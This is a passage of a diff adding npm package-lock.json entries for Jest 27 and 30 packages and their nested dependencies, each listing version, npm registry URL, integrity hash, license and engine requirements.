16876+ "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==",
16877+ "license": "MIT",
16878+ "engines": {
16879+ "node": ">=8.6"
16880+ },
16881+ "funding": {
16882+ "url": "https://github.com/sponsors/jonschlinkert"
16883+ }
16884+ },
16885+ "node_modules/jest-environment-node": {
16886+ "version": "27.5.1",
16887+ "resolved": "https://registry.npmjs.org/jest-environment-node/-/jest-environment-node-27.5.1.tgz",
16888+ "integrity": "sha512-Jt4ZUnxdOsTGwSRAfKEnE6BcwsSPNOijjwifq5sDFSA2kesnXTvNqKHYgM0hDq3549Uf/KzdXNYn4wMZJPlFLw==",
16889+ "license": "MIT",
16890+ "dependencies": {
16891+ "@jest/environment": "^27.5.1",
16892+ "@jest/fake-timers": "^27.5.1",
16893+ "@jest/types": "^27.5.1",
16894+ "@types/node": "*",
16895+ "jest-mock": "^27.5.1",
16896+ "jest-util": "^27.5.1"
16897+ },
16898+ "engines": {
16899+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
16900+ }
16901+ },
16902+ "node_modules/jest-environment-node/node_modules/@jest/types": {
16903+ "version": "27.5.1",
16904+ "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
16905+ "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
16906+ "license": "MIT",
16907+ "dependencies": {
16908+ "@types/istanbul-lib-coverage": "^2.0.0",
16909+ "@types/istanbul-reports": "^3.0.0",
16910+ "@types/node": "*",
16911+ "@types/yargs": "^16.0.0",
16912+ "chalk": "^4.0.0"
16913+ },
16914+ "engines": {
16915+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
16916+ }
16917+ },
16918+ "node_modules/jest-environment-node/node_modules/@types/yargs": {
16919+ "version": "16.0.11",
16920+ "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz",
16921+ "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==",
16922+ "license": "MIT",
16923+ "dependencies": {
16924+ "@types/yargs-parser": "*"
16925+ }
16926+ },
16927+ "node_modules/jest-environment-node/node_modules/chalk": {
16928+ "version": "4.1.2",
16929+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
16930+ "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
16931+ "license": "MIT",
16932+ "dependencies": {
16933+ "ansi-styles": "^4.1.0",
16934+ "supports-color": "^7.1.0"
16935+ },
16936+ "engines": {
16937+ "node": ">=10"
16938+ },
16939+ "funding": {
16940+ "url": "https://github.com/chalk/chalk?sponsor=1"
16941+ }
16942+ },
16943+ "node_modules/jest-environment-node/node_modules/ci-info": {
16944+ "version": "3.9.0",
16945+ "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.9.0.tgz",
16946+ "integrity": "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==",
16947+ "funding": [
16948+ {
16949+ "type": "github",
16950+ "url": "https://github.com/sponsors/sibiraj-s"
16951+ }
16952+ ],
16953+ "license": "MIT",
16954+ "engines": {
16955+ "node": ">=8"
16956+ }
16957+ },
16958+ "node_modules/jest-environment-node/node_modules/jest-mock": {
16959+ "version": "27.5.1",
16960+ "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-27.5.1.tgz",
16961+ "integrity": "sha512-K4jKbY1d4ENhbrG2zuPWaQBvDly+iZ2yAW+T1fATN78hc0sInwn7wZB8XtlNnvHug5RMwV897Xm4LqmPM4e2Og==",
16962+ "license": "MIT",
16963+ "dependencies": {
16964+ "@jest/types": "^27.5.1",
16965+ "@types/node": "*"
16966+ },
16967+ "engines": {
16968+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
16969+ }
16970+ },
16971+ "node_modules/jest-environment-node/node_modules/jest-util": {
16972+ "version": "27.5.1",
16973+ "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-27.5.1.tgz",
16974+ "integrity": "sha512-Kv2o/8jNvX1MQ0KGtw480E/w4fBCDOnH6+6DmeKi6LZUIlKA5kwY0YNdlzaWTiVgxqAqik11QyxDOKk543aKXw==",
16975+ "license": "MIT",
16976+ "dependencies": {
16977+ "@jest/types": "^27.5.1",
16978+ "@types/node": "*",
16979+ "chalk": "^4.0.0",
16980+ "ci-info": "^3.2.0",
16981+ "graceful-fs": "^4.2.9",
16982+ "picomatch": "^2.2.3"
16983+ },
16984+ "engines": {
16985+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
16986+ }
16987+ },
16988+ "node_modules/jest-environment-node/node_modules/picomatch": {
16989+ "version": "2.3.1",
16990+ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz",
16991+ "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==",
16992+ "license": "MIT",
16993+ "engines": {
16994+ "node": ">=8.6"
16995+ },
16996+ "funding": {
16997+ "url": "https://github.com/sponsors/jonschlinkert"
16998+ }
16999+ },
17000+ "node_modules/jest-get-type": {
17001+ "version": "27.5.1",
17002+ "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-27.5.1.tgz",
17003+ "integrity": "sha512-2KY95ksYSaK7DMBWQn6dQz3kqAf3BB64y2udeG+hv4KfSOb9qwcYQstTJc1KCbsix+wLZWZYN8t7nwX3GOBLRw==",
17004+ "license": "MIT",
17005+ "engines": {
17006+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
17007+ }
17008+ },
17009+ "node_modules/jest-haste-map": {
17010+ "version": "27.5.1",
17011+ "resolved": "https://registry.npmjs.org/jest-haste-map/-/jest-haste-map-27.5.1.tgz",
17012+ "integrity": "sha512-7GgkZ4Fw4NFbMSDSpZwXeBiIbx+t/46nJ2QitkOjvwPYyZmqttu2TDSimMHP1EkPOi4xUZAN1doE5Vd25H4Jng==",
17013+ "license": "MIT",
17014+ "dependencies": {
17015+ "@jest/types": "^27.5.1",
17016+ "@types/graceful-fs": "^4.1.2",
17017+ "@types/node": "*",
17018+ "anymatch": "^3.0.3",
17019+ "fb-watchman": "^2.0.0",
17020+ "graceful-fs": "^4.2.9",
17021+ "jest-regex-util": "^27.5.1",
17022+ "jest-serializer": "^27.5.1",
17023+ "jest-util": "^27.5.1",
17024+ "jest-worker": "^27.5.1",
17025+ "micromatch": "^4.0.4",
17026+ "walker": "^1.0.7"
17027+ },
17028+ "engines": {
17029+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
17030+ },
17031+ "optionalDependencies": {
17032+ "fsevents": "^2.3.2"
17033+ }
17034+ },
17035+ "node_modules/jest-haste-map/node_modules/@jest/types": {
17036+ "version": "27.5.1",
17037+ "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
17038+ "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
17039+ "license": "MIT",
17040+ "dependencies": {
17041+ "@types/istanbul-lib-coverage": "^2.0.0",
17042+ "@types/istanbul-reports": "^3.0.0",
17043+ "@types/node": "*",
17044+ "@types/yargs": "^16.0.0",
17045+ "chalk": "^4.0.0"
17046+ },
17047+ "engines": {
17048+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
17049+ }
17050+ },
17051+ "node_modules/jest-haste-map/node_modules/@types/yargs": {
17052+ "version": "16.0.11",
17053+ "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz",
17054+ "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==",
17055+ "license": "MIT",
17056+ "dependencies": {
17057+ "@types/yargs-parser": "*"
17058+ }
17059+ },
17060+ "node_modules/jest-haste-map/node_modules/chalk": {
17061+ "version": "4.1.2",
17062+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
17063+ "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
17064+ "license": "MIT",
17065+ "dependencies": {
17066+ "ansi-styles": "^4.1.0",
17067+ "supports-color": "^7.1.0"
17068+ },
17069+ "engines": {
17070+ "node": ">=10"
17071+ },
17072+ "funding": {
17073+ "url": "https://github.com/chalk/chalk?sponsor=1"
17074+ }
17075+ },
17076+ "node_modules/jest-haste-map/node_modules/ci-info": {
17077+ "version": "3.9.0",
17078+ "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.9.0.tgz",
17079+ "integrity": "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==",
17080+ "funding": [
17081+ {
17082+ "type": "github",
17083+ "url": "https://github.com/sponsors/sibiraj-s"
17084+ }
17085+ ],
17086+ "license": "MIT",
17087+ "engines": {
17088+ "node": ">=8"
17089+ }
17090+ },
17091+ "node_modules/jest-haste-map/node_modules/jest-regex-util": {
17092+ "version": "27.5.1",
17093+ "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-27.5.1.tgz",
17094+ "integrity": "sha512-4bfKq2zie+x16okqDXjXn9ql2B0dScQu+vcwe4TvFVhkVyuWLqpZrZtXxLLWoXYgn0E87I6r6GRYHF7wFZBUvg==",
17095+ "license": "MIT",
17096+ "engines": {
17097+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
17098+ }
17099+ },
17100+ "node_modules/jest-haste-map/node_modules/jest-util": {
17101+ "version": "27.5.1",
17102+ "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-27.5.1.tgz",
17103+ "integrity": "sha512-Kv2o/8jNvX1MQ0KGtw480E/w4fBCDOnH6+6DmeKi6LZUIlKA5kwY0YNdlzaWTiVgxqAqik11QyxDOKk543aKXw==",
17104+ "license": "MIT",
17105+ "dependencies": {
17106+ "@jest/types": "^27.5.1",
17107+ "@types/node": "*",
17108+ "chalk": "^4.0.0",
17109+ "ci-info": "^3.2.0",
17110+ "graceful-fs": "^4.2.9",
17111+ "picomatch": "^2.2.3"
17112+ },
17113+ "engines": {
17114+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
17115+ }
17116+ },
17117+ "node_modules/jest-haste-map/node_modules/picomatch": {
17118+ "version": "2.3.1",
17119+ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz",
17120+ "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==",
17121+ "license": "MIT",
17122+ "engines": {
17123+ "node": ">=8.6"
17124+ },
17125+ "funding": {
17126+ "url": "https://github.com/sponsors/jonschlinkert"
17127+ }
17128+ },
17129+ "node_modules/jest-jasmine2": {
17130+ "version": "27.5.1",
17131+ "resolved": "https://registry.npmjs.org/jest-jasmine2/-/jest-jasmine2-27.5.1.tgz",
17132+ "integrity": "sha512-jtq7VVyG8SqAorDpApwiJJImd0V2wv1xzdheGHRGyuT7gZm6gG47QEskOlzsN1PG/6WNaCo5pmwMHDf3AkG2pQ==",
17133+ "license": "MIT",
17134+ "dependencies": {
17135+ "@jest/environment": "^27.5.1",
17136+ "@jest/source-map": "^27.5.1",
17137+ "@jest/test-result": "^27.5.1",
17138+ "@jest/types": "^27.5.1",
17139+ "@types/node": "*",
17140+ "chalk": "^4.0.0",
17141+ "co": "^4.6.0",
17142+ "expect": "^27.5.1",
17143+ "is-generator-fn": "^2.0.0",
17144+ "jest-each": "^27.5.1",
17145+ "jest-matcher-utils": "^27.5.1",
17146+ "jest-message-util": "^27.5.1",
17147+ "jest-runtime": "^27.5.1",
17148+ "jest-snapshot": "^27.5.1",
17149+ "jest-util": "^27.5.1",
17150+ "pretty-format": "^27.5.1",
17151+ "throat": "^6.0.1"
17152+ },
17153+ "engines": {
17154+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
17155+ }
17156+ },
17157+ "node_modules/jest-jasmine2/node_modules/@jest/types": {
17158+ "version": "27.5.1",
17159+ "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
17160+ "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
17161+ "license": "MIT",
17162+ "dependencies": {
17163+ "@types/istanbul-lib-coverage": "^2.0.0",
17164+ "@types/istanbul-reports": "^3.0.0",
17165+ "@types/node": "*",
17166+ "@types/yargs": "^16.0.0",
17167+ "chalk": "^4.0.0"
17168+ },
17169+ "engines": {
17170+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
17171+ }
17172+ },
17173+ "node_modules/jest-jasmine2/node_modules/@types/yargs": {
17174+ "version": "16.0.11",
17175+ "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz",
17176+ "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==",
17177+ "license": "MIT",
17178+ "dependencies": {
17179+ "@types/yargs-parser": "*"
17180+ }
17181+ },
17182+ "node_modules/jest-jasmine2/node_modules/chalk": {
17183+ "version": "4.1.2",
17184+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
17185+ "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
17186+ "license": "MIT",
17187+ "dependencies": {
17188+ "ansi-styles": "^4.1.0",
17189+ "supports-color": "^7.1.0"
17190+ },
17191+ "engines": {
17192+ "node": ">=10"
17193+ },
17194+ "funding": {
17195+ "url": "https://github.com/chalk/chalk?sponsor=1"
17196+ }
17197+ },
17198+ "node_modules/jest-jasmine2/node_modules/ci-info": {
17199+ "version": "3.9.0",
17200+ "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.9.0.tgz",
17201+ "integrity": "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==",
17202+ "funding": [
17203+ {
17204+ "type": "github",
17205+ "url": "https://github.com/sponsors/sibiraj-s"
17206+ }
17207+ ],
17208+ "license": "MIT",
17209+ "engines": {
17210+ "node": ">=8"
17211+ }
17212+ },
17213+ "node_modules/jest-jasmine2/node_modules/expect": {
17214+ "version": "27.5.1",
17215+ "resolved": "https://registry.npmjs.org/expect/-/expect-27.5.1.tgz",
17216+ "integrity": "sha512-E1q5hSUG2AmYQwQJ041nvgpkODHQvB+RKlB4IYdru6uJsyFTRyZAP463M+1lINorwbqAmUggi6+WwkD8lCS/Dw==",
17217+ "license": "MIT",
17218+ "dependencies": {
17219+ "@jest/types": "^27.5.1",
17220+ "jest-get-type": "^27.5.1",
17221+ "jest-matcher-utils": "^27.5.1",
17222+ "jest-message-util": "^27.5.1"
17223+ },
17224+ "engines": {
17225+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
17226+ }
17227+ },
17228+ "node_modules/jest-jasmine2/node_modules/jest-diff": {
17229+ "version": "27.5.1",
17230+ "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-27.5.1.tgz",
17231+ "integrity": "sha512-m0NvkX55LDt9T4mctTEgnZk3fmEg3NRYutvMPWM/0iPnkFj2wIeF45O1718cMSOFO1vINkqmxqD8vE37uTEbqw==",
17232+ "license": "MIT",
17233+ "dependencies": {
17234+ "chalk": "^4.0.0",
17235+ "diff-sequences": "^27.5.1",
17236+ "jest-get-type": "^27.5.1",
17237+ "pretty-format": "^27.5.1"
17238+ },
17239+ "engines": {
17240+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
17241+ }
17242+ },
17243+ "node_modules/jest-jasmine2/node_modules/jest-matcher-utils": {
17244+ "version": "27.5.1",
17245+ "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-27.5.1.tgz",
17246+ "integrity": "sha512-z2uTx/T6LBaCoNWNFWwChLBKYxTMcGBRjAt+2SbP929/Fflb9aa5LGma654Rz8z9HLxsrUaYzxE9T/EFIL/PAw==",
17247+ "license": "MIT",
17248+ "dependencies": {
17249+ "chalk": "^4.0.0",
17250+ "jest-diff": "^27.5.1",
17251+ "jest-get-type": "^27.5.1",
17252+ "pretty-format": "^27.5.1"
17253+ },
17254+ "engines": {
17255+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
17256+ }
17257+ },
17258+ "node_modules/jest-jasmine2/node_modules/jest-message-util": {
17259+ "version": "27.5.1",
17260+ "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-27.5.1.tgz",
17261+ "integrity": "sha512-rMyFe1+jnyAAf+NHwTclDz0eAaLkVDdKVHHBFWsBWHnnh5YeJMNWWsv7AbFYXfK3oTqvL7VTWkhNLu1jX24D+g==",
17262+ "license": "MIT",
17263+ "dependencies": {
17264+ "@babel/code-frame": "^7.12.13",
17265+ "@jest/types": "^27.5.1",
17266+ "@types/stack-utils": "^2.0.0",
17267+ "chalk": "^4.0.0",
17268+ "graceful-fs": "^4.2.9",
17269+ "micromatch": "^4.0.4",
17270+ "pretty-format": "^27.5.1",
17271+ "slash": "^3.0.0",
17272+ "stack-utils": "^2.0.3"
17273+ },
17274+ "engines": {
17275+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
17276+ }
17277+ },
17278+ "node_modules/jest-jasmine2/node_modules/jest-util": {
17279+ "version": "27.5.1",
17280+ "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-27.5.1.tgz",
17281+ "integrity": "sha512-Kv2o/8jNvX1MQ0KGtw480E/w4fBCDOnH6+6DmeKi6LZUIlKA5kwY0YNdlzaWTiVgxqAqik11QyxDOKk543aKXw==",
17282+ "license": "MIT",
17283+ "dependencies": {
17284+ "@jest/types": "^27.5.1",
17285+ "@types/node": "*",
17286+ "chalk": "^4.0.0",
17287+ "ci-info": "^3.2.0",
17288+ "graceful-fs": "^4.2.9",
17289+ "picomatch": "^2.2.3"
17290+ },
17291+ "engines": {
17292+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
17293+ }
17294+ },
17295+ "node_modules/jest-jasmine2/node_modules/picomatch": {
17296+ "version": "2.3.1",
17297+ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz",
17298+ "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==",
17299+ "license": "MIT",
17300+ "engines": {
17301+ "node": ">=8.6"
17302+ },
17303+ "funding": {
17304+ "url": "https://github.com/sponsors/jonschlinkert"
17305+ }
17306+ },
17307+ "node_modules/jest-leak-detector": {
17308+ "version": "27.5.1",
17309+ "resolved": "https://registry.npmjs.org/jest-leak-detector/-/jest-leak-detector-27.5.1.tgz",
17310+ "integrity": "sha512-POXfWAMvfU6WMUXftV4HolnJfnPOGEu10fscNCA76KBpRRhcMN2c8d3iT2pxQS3HLbA+5X4sOUPzYO2NUyIlHQ==",
17311+ "license": "MIT",
17312+ "dependencies": {
17313+ "jest-get-type": "^27.5.1",
17314+ "pretty-format": "^27.5.1"
17315+ },
17316+ "engines": {
17317+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
17318+ }
17319+ },
17320+ "node_modules/jest-matcher-utils": {
17321+ "version": "30.2.0",
17322+ "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-30.2.0.tgz",
17323+ "integrity": "sha512-dQ94Nq4dbzmUWkQ0ANAWS9tBRfqCrn0bV9AMYdOi/MHW726xn7eQmMeRTpX2ViC00bpNaWXq+7o4lIQ3AX13Hg==",
17324+ "license": "MIT",
17325+ "dependencies": {
17326+ "@jest/get-type": "30.1.0",
17327+ "chalk": "^4.1.2",
17328+ "jest-diff": "30.2.0",
17329+ "pretty-format": "30.2.0"
17330+ },
17331+ "engines": {
17332+ "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
17333+ }
17334+ },
17335+ "node_modules/jest-matcher-utils/node_modules/chalk": {
17336+ "version": "4.1.2",
17337+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
17338+ "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
17339+ "license": "MIT",
17340+ "dependencies": {
17341+ "ansi-styles": "^4.1.0",
17342+ "supports-color": "^7.1.0"
17343+ },
17344+ "engines": {
17345+ "node": ">=10"
17346+ },
17347+ "funding": {
17348+ "url": "https://github.com/chalk/chalk?sponsor=1"
17349+ }
17350+ },
17351+ "node_modules/jest-matcher-utils/node_modules/pretty-format": {
17352+ "version": "30.2.0",
17353+ "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.2.0.tgz",
17354+ "integrity": "sha512-9uBdv/B4EefsuAL+pWqueZyZS2Ba+LxfFeQ9DN14HU4bN8bhaxKdkpjpB6fs9+pSjIBu+FXQHImEg8j/Lw0+vA==",
17355+ "license": "MIT",
17356+ "dependencies": {
17357+ "@jest/schemas": "30.0.5",
17358+ "ansi-styles": "^5.2.0",
17359+ "react-is": "^18.3.1"
17360+ },
17361+ "engines": {
17362+ "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
17363+ }
17364+ },
17365+ "node_modules/jest-matcher-utils/node_modules/pretty-format/node_modules/ansi-styles": {
17366+ "version": "5.2.0",
17367+ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz",
17368+ "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==",
17369+ "license": "MIT",
17370+ "engines": {
17371+ "node": ">=10"
17372+ },
17373+ "funding": {
17374+ "url": "https://github.com/chalk/ansi-styles?sponsor=1"
17375+ }
17376+ },
17377+ "node_modules/jest-matcher-utils/node_modules/react-is": {
17378+ "version": "18.3.1",
17379+ "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.3.1.tgz",
17380+ "integrity": "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==",
17381+ "license": "MIT"
17382+ },
17383+ "node_modules/jest-message-util": {
17384+ "version": "30.2.0",
17385+ "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-30.2.0.tgz",
17386+ "integrity": "sha512-y4DKFLZ2y6DxTWD4cDe07RglV88ZiNEdlRfGtqahfbIjfsw1nMCPx49Uev4IA/hWn3sDKyAnSPwoYSsAEdcimw==",
17387+ "license": "MIT",
17388+ "dependencies": {
17389+ "@babel/code-frame": "^7.27.1",
17390+ "@jest/types": "30.2.0",
17391+ "@types/stack-utils": "^2.0.3",
17392+ "chalk": "^4.1.2",
17393+ "graceful-fs": "^4.2.11",
17394+ "micromatch": "^4.0.8",
17395+ "pretty-format": "30.2.0",
17396+ "slash": "^3.0.0",
17397+ "stack-utils": "^2.0.6"
17398+ },
17399+ "engines": {
17400+ "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
17401+ }
17402+ },
17403+ "node_modules/jest-message-util/node_modules/chalk": {
17404+ "version": "4.1.2",
17405+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
17406+ "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
17407+ "license": "MIT",
17408+ "dependencies": {
17409+ "ansi-styles": "^4.1.0",
17410+ "supports-color": "^7.1.0"
17411+ },
17412+ "engines": {
17413+ "node": ">=10"
17414+ },
17415+ "funding": {
17416+ "url": "https://github.com/chalk/chalk?sponsor=1"
17417+ }
17418+ },
17419+ "node_modules/jest-message-util/node_modules/pretty-format": {
17420+ "version": "30.2.0",
17421+ "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.2.0.tgz",
17422+ "integrity": "sha512-9uBdv/B4EefsuAL+pWqueZyZS2Ba+LxfFeQ9DN14HU4bN8bhaxKdkpjpB6fs9+pSjIBu+FXQHImEg8j/Lw0+vA==",
17423+ "license": "MIT",
17424+ "dependencies": {
17425+ "@jest/schemas": "30.0.5",
17426+ "ansi-styles": "^5.2.0",
17427+ "react-is": "^18.3.1"
17428+ },
17429+ "engines": {
17430+ "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
17431+ }
17432+ },
17433+ "node_modules/jest-message-util/node_modules/pretty-format/node_modules/ansi-styles": {
17434+ "version": "5.2.0",
17435+ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz",
17436+ "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==",
17437+ "license": "MIT",
17438+ "engines": {
17439+ "node": ">=10"
17440+ },
17441+ "funding": {
17442+ "url": "https://github.com/chalk/ansi-styles?sponsor=1"
17443+ }
17444+ },
17445+ "node_modules/jest-message-util/node_modules/react-is": {
17446+ "version": "18.3.1",
17447+ "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.3.1.tgz",
17448+ "integrity": "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==",
17449+ "license": "MIT"
17450+ },
17451+ "node_modules/jest-mock": {
17452+ "version": "30.2.0",
17453+ "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-30.2.0.tgz",
17454+ "integrity": "sha512-JNNNl2rj4b5ICpmAcq+WbLH83XswjPbjH4T7yvGzfAGCPh1rw+xVNbtk+FnRslvt9lkCcdn9i1oAoKUuFsOxRw==",
17455+ "license": "MIT",
17456+ "dependencies": {
17457+ "@jest/types": "30.2.0",
17458+ "@types/node": "*",
17459+ "jest-util": "30.2.0"
17460+ },
17461+ "engines": {
17462+ "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
17463+ }
17464+ },
17465+ "node_modules/jest-pnp-resolver": {
17466+ "version": "1.2.3",
17467+ "resolved": "https://registry.npmjs.org/jest-pnp-resolver/-/jest-pnp-resolver-1.2.3.tgz",
17468+ "integrity": "sha512-+3NpwQEnRoIBtx4fyhblQDPgJI0H1IEIkX7ShLUjPGA7TtUTvI1oiKi3SR4oBR0hQhQR80l4WAe5RrXBwWMA8w==",
17469+ "license": "MIT",
17470+ "engines": {
17471+ "node": ">=6"
17472+ },
17473+ "peerDependencies": {
17474+ "jest-resolve": "*"
17475+ },
17476+ "peerDependenciesMeta": {
17477+ "jest-resolve": {
17478+ "optional": true
17479+ }
17480+ }
17481+ },
17482+ "node_modules/jest-regex-util": {
17483+ "version": "30.0.1",
17484+ "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-30.0.1.tgz",
17485+ "integrity": "sha512-jHEQgBXAgc+Gh4g0p3bCevgRCVRkB4VB70zhoAE48gxeSr1hfUOsM/C2WoJgVL7Eyg//hudYENbm3Ne+/dRVVA==",
17486+ "license": "MIT",
17487+ "engines": {
17488+ "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
17489+ }
17490+ },
17491+ "node_modules/jest-resolve": {
17492+ "version": "27.5.1",
17493+ "resolved": "https://registry.npmjs.org/jest-resolve/-/jest-resolve-27.5.1.tgz",
17494+ "integrity": "sha512-FFDy8/9E6CV83IMbDpcjOhumAQPDyETnU2KZ1O98DwTnz8AOBsW/Xv3GySr1mOZdItLR+zDZ7I/UdTFbgSOVCw==",
17495+ "license": "MIT",
17496+ "dependencies": {
17497+ "@jest/types": "^27.5.1",
17498+ "chalk": "^4.0.0",
17499+ "graceful-fs": "^4.2.9",
17500+ "jest-haste-map": "^27.5.1",
17501+ "jest-pnp-resolver": "^1.2.2",
17502+ "jest-util": "^27.5.1",
17503+ "jest-validate": "^27.5.1",
17504+ "resolve": "^1.20.0",
17505+ "resolve.exports": "^1.1.0",
17506+ "slash": "^3.0.0"
17507+ },
